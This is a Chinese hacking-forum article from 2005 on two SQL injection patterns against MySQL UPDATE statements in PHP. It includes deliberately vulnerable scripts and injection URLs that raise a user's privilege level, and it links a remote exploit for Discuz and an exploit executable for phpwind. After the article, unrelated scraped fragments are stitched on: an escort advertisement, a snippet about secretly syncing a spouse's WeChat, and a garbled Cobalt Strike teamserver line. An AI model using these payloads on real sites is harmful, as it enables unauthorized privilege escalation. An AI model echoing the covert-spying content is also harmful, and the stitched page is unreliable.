UPDATE注射(mysql+php)的两个模式 文/安全天使·SuperHei2005.8.11 一.测试环境: OS:Windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 二.测试数据库结构: -----start--- --数据库:`test` -- ---------------------------------------------------------- -- --表的结构`userinfo` -- CREATETABLE`userinfo`( `groudid`varchar(12)NOTNULLdefault’1’, `user`varchar(12)NOTNULLdefault’heige’, `pass`varchar(122)NOTNULLdefault’123456’ )ENGINE=MyISAMDEFAULTCHARSET=latin1; -- --导出表中的数据`userinfo` -- INSERTINTO`userinfo`VALUES(’2’,’heige’,’123456’); ------end------- 三.测试模式: 1,变量没有带’’或""[MOD1] <?php //test1.phpMod1 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=$pwhereuser=’heige’";//<--$P没有使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达 到修改groupid的目的: 那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 在mysql里查询: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.01sec) 用户heige的groudid又2改为1了:) 所以我们可以得到没有’’或""update的注射是可以成功的,这个就是我们的模式1。 2,变量带’’或""[MOD2] <?php //test2.php $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 为了关闭’我们构造$p应该为123456’,groudid=’2提交: http://127.0.0.1/test2.php?p=123456’,groudid=’1在gpc=on的情况下’变成了\’ 提交的语句变成:SQLQuery:updateuserinfosetpass=’123456\’,groudid=\’1’whereuser=’heige’ mysql查询: mysql>select*fromuserinfo; +---------+-------+--------------------+ |groudid|user|pass| +---------+-------+--------------------+ |2|heige|123456’,groudid=’1| +---------+-------+--------------------+ 1rowinset(0.00sec) groudid并没有被修改。那么在变量被’’或""时就完全没有被注射呢?不是下面我们看模式2: <?php //test3.phpMod2 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//$p的数据写入数据库 $sql="selectpassfromuserinfowhereuser=’heige’"; $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo$userinfo[0];//把pass查询输出给$userinfo[0] $sql="updateuserinfosetpass=’$userinfo[0]’whereuser=’heige’"; $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//把$userinfo[0]再次update ?> 我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 回mysql查询下: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.00sec) HaHa~~成功注射修改groudid为1。这个就是我们的模式2了,简单的描叙如下: update-->select-->update 四.实际模式 模式1:Discuz2.0/2.2register.php注射 漏洞分析:http://4ngel.net/article/41.htm Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm 模式2:phpwind2.0.2和3.31e权限提升漏洞 漏洞分析: update(profile.php注射变量为$proiconupdate语句里为,icon=’$userdb[icon]’) | v select(jop.php) | v updtate(jop.php) Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe 五.鸣谢 特别感谢saiy等朋友的讨论和帮助。Thanks!!!
“上海男士桑拿保健会所,这家的项目充满想象-【全灿怡】”1:通过百度搜索”上海模特预约”,“商务预约”,”上海模特私人平台”,进网站添加微信。成都凯宾斯基商务洋妞推荐:.-cd/1236由模特预约平台...
如何同歩悄悄丈夫手机微信(如何同歩媳妇的手机微信不被发觉),我觉得十分多的人都是有如此的繁难,当她们的家中最先有收入,越来越较为敷裕时,她们的老公老是...
./teamserver x.x.x.x password function loadSucc(){固件的重要性可想而知。 考虑到这点,咱们就尝试着进行运用吧!cpe:/a:cisco:adaptiv...
生活是一天天在过,在这过程里,有许许多多不可或缺的,以维持居民生活不受到影响的资源,好比生活用电、用水等等,它们的费用支出也被称为环境价格,那么现在国内生活用电多少钱一度呢?普遍情况下要花费多少一...
此刻许多的人都是想要创业的,可是也恐惊创业的进程中会有风险的呈现而最终导致本身的创业失败,其实只要是创业城市具有风险,那就要看你选择的项目是不是可以或许为你淘汰创业的风险。辣洋洋麻辣烫加盟总部是可以或...
网警是干什么的 网警主要的工作是进行网上搜寻,对各类网吧进行监控管理,检索出网上的淫秽、反动、散播谣言等有害信息,根据网络举报线索追查犯罪嫌疑人,对其它网络犯罪进行协查破案。网警是负责网络案件处理的人...